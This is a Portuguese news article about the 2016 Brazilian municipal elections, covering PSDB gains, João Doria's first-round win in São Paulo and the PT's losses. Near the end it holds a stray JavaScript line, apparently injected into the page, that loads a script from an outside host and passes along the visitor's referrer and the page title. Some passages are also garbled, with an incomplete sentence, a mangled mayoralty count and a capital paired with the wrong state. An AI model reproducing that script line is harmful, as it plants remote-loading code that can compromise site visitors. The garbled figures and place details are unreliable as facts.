Tucanos lucram com eleições municipais; PT sofre derrota histórica

 

 

Pouco mais de um mês após o impeachment da presidente Dilma Rousseff, o principal fiador do afastamento da petista, o PSDB, acabou como o maior beneficiário da esperada queda do PT nas eleições municipais. Os tucanos aumentaram a presença nos municípios e tiveram o resultado surpreendente da eleição do empresário João Doria, em São Paulo, com 53,29%, em primeiro turno, vitória pessoal do governador paulista Geraldo Alckmin. De outro lado, em meio a uma avalanche de escândalos de corrupção e após o impeachment, o PT teve a perda de espaço confirmada neste primeiro turno nas cidades brasileiras.

Já o PMDB, do presidente Michel Temer, que apostou em candidatos nas duas principais cidades do país, a capital paulista e o Rio de Janeiro, foi eliminado em ambas. O pleito também foi marcado pelo desinteresse dos eleitores. Em São Paulo, por exemplo, a cada 10 aptos a votar, quatro se isentaram. O índice de votos chegou a 5,29%, os brancos e 11,35%, nulos, além de 21,84% de abstenção, o que soma 3.096.304 de nulos, brancos e abstenções, contra os 3.085.187 obtidos por Doria.

 

Das 26 capitais, oito tiveram as eleições decididas no primeiro turno: além de São Paulo, Salvador, Natal, Teresina, João Pessoa, Rio Branco, Boa Vista e Palmas. O PT, que antes comandava São Paulo, Goiânia e Rio Branco. O partido só levou a capital de Roraima com a reeleição de Marcos Alexandre e só disputará o segundo turno em uma capital: Recife, que tem João Paulo contra o prefeito Geraldo Julio (PSB). Nas cidades, de forma geral, o PT saiu de 630 prefeituras para 231, 399 prefeituras, uma queda de 63,3% no primeiro turno.

O PSDB aumentou a presença de 686 prefeituras para 767, crescimento de 81 cadeiras. Os próprios tucanos ficaram surpresos com a vitória de Doria em primeiro turno, embora ele já tivesse registrado crescimento para 44% das intenções de voto no dia anterior. “Nem o mais otimista do partido imaginaria isso”, disse um interlocutor da legenda.

A vitória de Doria favorece um tucano principalmente, além do prefeito eleito: o governador paulista Geraldo Alckmin, que encampou a campanha do apadrinhado. Segundo interlocutores do partido, o êxito do empresário coloca Alckmin em outro patamar em relação à briga interna na legenda para concorrer ao Palácio do Planalto em 2018. Alckmin disputa com o ministro das Relações Exteriores, José Serra, e com o senador e candidato derrotado nas eleições de 2014, Aécio Neves, uma vaga na disputa. Em seu primeiro discurso de vitória, Doria endossou a candidatura de Alckmin à presidência em 2018 e disse que é legítima a vontade do tucano de entrar na disputa. “Se for presidente, terá apoio da população brasileira”, disse Doria, seguido pela militância que gritava “Brasil pra frente, Geraldo presidente”.

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Fonte:

Deixe um comentário